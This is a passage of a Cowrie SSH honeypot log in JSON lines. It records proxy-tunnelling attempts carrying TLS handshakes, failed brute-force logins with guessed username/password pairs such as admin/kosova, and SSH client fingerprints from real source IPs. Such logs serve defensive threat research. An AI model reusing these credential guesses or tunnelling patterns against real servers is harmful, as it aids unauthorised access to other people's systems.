\\xcc\\x03m\\x82;\\xfb\\x91\\xd9Z\\xfd\\xc4~K\\x8d\\xdf\\xba\\xf3\\xd7\\x16\\xb7C\\x91\\xae[\\xd5\\xd7\\x00\\xda\\xd63Zu\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:21.925959Z","src_ip":"123.27.168.40","session":"fbc78e9d8c0e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:22.163509Z","session":"e12269b08f9e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:22.412360Z","src_ip":"123.27.168.40","session":"e12269b08f9e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03S\\x0b\\xd17\\xb6\\xff7 6\\xb8\\xda!\\xcf\\xe8\\nI\\x1c\\xfe\\xff8\\x92\\x87~\\x10\\xd9v\\xfd\\xf8@\\x1a\\x1c\\xc9 n~\\xb2\\xd6\\x83a\\x02d\\x94/\\x18~\\x9b\\x11\\xff\\x96qc\\x06\\xd0#\\xeewm\\x96}g\\xa4\\xe4\\xc7\\n\\xce\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 2E5\\xaa/\\xa9\\x19\\xd7\\x84\\xbd\\xfd\\x97\\x1cN`\\xc4\\xf0\\x9bg\\x9ef\\xf2f\\xef\\xa1\\xf8\\x8f\\xdb\\x0bM\\x07\\x1b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03S\\x0b\\xd17\\xb6\\xff7 6\\xb8\\xda!\\xcf\\xe8\\nI\\x1c\\xfe\\xff8\\x92\\x87~\\x10\\xd9v\\xfd\\xf8@\\x1a\\x1c\\xc9 n~\\xb2\\xd6\\x83a\\x02d\\x94/\\x18~\\x9b\\x11\\xff\\x96qc\\x06\\xd0#\\xeewm\\x96}g\\xa4\\xe4\\xc7\\n\\xce\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 2E5\\xaa/\\xa9\\x19\\xd7\\x84\\xbd\\xfd\\x97\\x1cN`\\xc4\\xf0\\x9bg\\x9ef\\xf2f\\xef\\xa1\\xf8\\x8f\\xdb\\x0bM\\x07\\x1b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:22.415433Z","src_ip":"123.27.168.40","session":"e12269b08f9e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:22.452086Z","session":"fbc78e9d8c0e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:22.698032Z","src_ip":"123.27.168.40","session":"fbc78e9d8c0e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe3#JY(\\xfbg\\xfb7\\x8br\\xc0\\xfe;\\x89\\x9f\\xd3E\\xb5q\\xf0r\\x16\\xef\\x88\\xdf\\xde&\\xcb\\xbb\\x1e` <\\x8d\\x9fY\\x01\\xbf\\xfd\\xc7l:\\xf1+\\xae\\x8ddK\\xd0\\xfd\\xd0\\xd7y%\\xf9\\x81:\\xad\\x10\\x05\\xdeXG\\xf6\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd5-l\\xea\\xee\\xaf\\xceIk\\xc2\\xa5\\x0f\\x84\\xbeOQw\\x93\\x07\\xb6 \\xc0\\xac\\xa7\\xfd\\x17\\xdf^\\xee&\\xaeh\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe3#JY(\\xfbg\\xfb7\\x8br\\xc0\\xfe;\\x89\\x9f\\xd3E\\xb5q\\xf0r\\x16\\xef\\x88\\xdf\\xde&\\xcb\\xbb\\x1e` <\\x8d\\x9fY\\x01\\xbf\\xfd\\xc7l:\\xf1+\\xae\\x8ddK\\xd0\\xfd\\xd0\\xd7y%\\xf9\\x81:\\xad\\x10\\x05\\xdeXG\\xf6\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd5-l\\xea\\xee\\xaf\\xceIk\\xc2\\xa5\\x0f\\x84\\xbeOQw\\x93\\x07\\xb6 \\xc0\\xac\\xa7\\xfd\\x17\\xdf^\\xee&\\xaeh\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:22.701103Z","src_ip":"123.27.168.40","session":"fbc78e9d8c0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:22.751650Z","src_ip":"123.27.168.40","session":"e12269b08f9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:23.095325Z","src_ip":"123.27.168.40","session":"fbc78e9d8c0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":54428,"dst_ip":"159.203.135.109","dst_port":22,"session":"12c606132d2d","protocol":"ssh","message":"New connection: 91.92.40.36:54428 (159.203.135.109:22) [session: 12c606132d2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:27.230289Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"0000","message":"login attempt [ubuntu/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:27.350943Z","src_ip":"91.92.40.36","session":"6fb989b1cb4f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:28.595287Z","src_ip":"91.92.40.36","session":"12c606132d2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:28.598396Z","src_ip":"91.92.40.36","session":"12c606132d2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:29.726635Z","src_ip":"91.92.40.36","session":"6fb989b1cb4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":54490,"dst_ip":"159.203.135.109","dst_port":22,"session":"e79cd6e2b1a8","protocol":"ssh","message":"New connection: 91.92.40.36:54490 (159.203.135.109:22) [session: e79cd6e2b1a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:33.775242Z"}
{"eventid":"cowrie.login.failed","username":"liuyumeng","password":"liuyumeng","message":"login attempt [liuyumeng/liuyumeng] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:35.481688Z","src_ip":"91.92.40.36","session":"12c606132d2d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:35.488245Z","src_ip":"91.92.40.36","session":"e79cd6e2b1a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:35.491072Z","src_ip":"91.92.40.36","session":"e79cd6e2b1a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"44.5","message":"Connection lost after 44.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:36.455178Z","src_ip":"23.175.50.51","session":"921ff06c3cb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.5","message":"Connection lost after 11.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:38.733316Z","src_ip":"91.92.40.36","session":"12c606132d2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"kosova","message":"login attempt [admin/kosova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:42.494639Z","src_ip":"91.92.40.36","session":"e79cd6e2b1a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":34918,"dst_ip":"159.203.135.109","dst_port":22,"session":"8add11f4bb4d","protocol":"ssh","message":"New connection: 91.92.40.36:34918 (159.203.135.109:22) [session: 8add11f4bb4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:44.113100Z"}
{"eventid":"cowrie.session.closed","duration":"10.7","message":"Connection lost after 10.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:44.451143Z","src_ip":"91.92.40.36","session":"e79cd6e2b1a8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:44.819694Z","src_ip":"91.92.40.36","session":"8add11f4bb4d","protocol":"ssh"}
